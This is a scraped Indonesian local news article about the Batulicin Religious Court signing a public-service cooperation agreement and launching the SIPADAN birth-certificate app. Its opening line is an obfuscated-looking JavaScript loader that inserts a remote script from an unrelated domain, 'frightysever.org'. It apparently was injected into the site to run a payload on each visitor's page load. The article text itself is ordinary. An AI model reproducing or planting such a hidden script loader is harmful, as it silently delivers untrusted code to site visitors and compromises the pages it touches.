(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BATULICIN – Pengadilan Agama (PA) Batulicin melaksanakan penandatanganan perjanjian kerjasama pelayanan terintegrasi di kantor PA Batulicin, Kamis (7/7/2022).
Penandatangan ini melibatkan Pemerintah Kabupaten Tanah Bumbu melalui Dinas Kependudukan dan Pencatatan Sipil (Disdukcapil), Dinas Kesehatan (Dinkes), dan Dinas Perpustakaan dan Kearsipan (Dispersip), serta Polres Tanah Bumbu dan Kementerian Agama.
Kegiatan juga ditandai dengan launching aplikasi SIPADAN (Sistem Integrasi Penetapan Anak dan Akta Kelahiran). Aplikasi ini membantu pengajuan penetapan anak, yang belum mempunyai akta kelahiran sehingga masyarakat yang mengurusnya, dapat menerima akta kelahiran di pengadilan tanpa harus pergi ke Disdukcapil.
Kepala PA Batulicin Hj Mursidah mengatakan, tujuan penandatanganan kerjasama dengan unsur terkait untuk memberikan inovasi dan terobosan meningkatkan pelayanan kepada masyarakat Tanah Bumbu.
Baca juga: Terancam Penjara 15 Tahun, Pemuda di Kusan Hilir ‘Makan’ Ponakan Sendiri
“Salah satunya kerjasama kami bersama Kemenag dan Disdukcapil untuk orang yang belum punya buku nikah, jadi ditetapkan oleh pengadilan dulu kemudian dalam satu hari mereka akan langsung mendapat beberapa dokumen, seperti surat nikah, buku nikah dari KUA, akta kelahiran, kartu keluarga dari Disdukcapil,” ujar Mursidah.
Selain itu untuk masyarakat yang telah melaksanakan perceraian, melalui inovasi Kapalku Kandas, perubahan status perkawinan di Kartu Tanda Penduduk (KTP) akan langsung dikeluarkan tanpa masyarakat harus mengurusnya di Disdukcapil.
“Melalui sistem yang terintegrasi, tentunya hal ini akan memangkas birokrasi dan mempercepat proses pelayanan,” ujarnya.
Sementara itu, Bupati Tanah Bumbu melalui Asisten Pemerintahan dan Kesra Mariani mengucapkan terima kasih dan penghargaan yang setinggi-tingginya kepada seluruh pihak atas kerjasama, yang dilaksanakan dalam rangka meningkatkan pelayanan publik secara efektif dan efisien.
Adanya kerjasama ini menjadi sangat penting dan strategis bagi pemangku kepentingan, dalam rangka mempermudah kegiatan masyarakat, sehingga waktu dan biaya diperlukan menjadi dapat dipangkas.
Selain itu hal tersebut juga dinilai selaras, dalam mewujudkan penyelenggaraan pemerintahan yang baik, serta selaras dengan mottto Kabupaten Tanah Bumbu yakni Tanah Bumbu Bersujud Menuju Serambi Madinah.
Baca juga:Â Daging Sapi Bertahan Rp 160 per Kg, Dulu Potong Satu Sapi Sekarang Patungan
“Dengan harapan dan doa kita bersama, bahwa dengan momentum perjanjian kersama ini akan semakin memperkuat komitmen kita, baik Pemerintah Kabupaten Tanah Bumbu maupun Pengadilan Agama Batulicin, Polres Tanah Bumbu, Kementerian Agama untuk terus bersinergi, dalam memberikan pelayanan prima kepada masyarakat Bumi Bersujud,” pungkasnya.(Kanalkalimantan.com/ftr)
Reporter : ftr
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.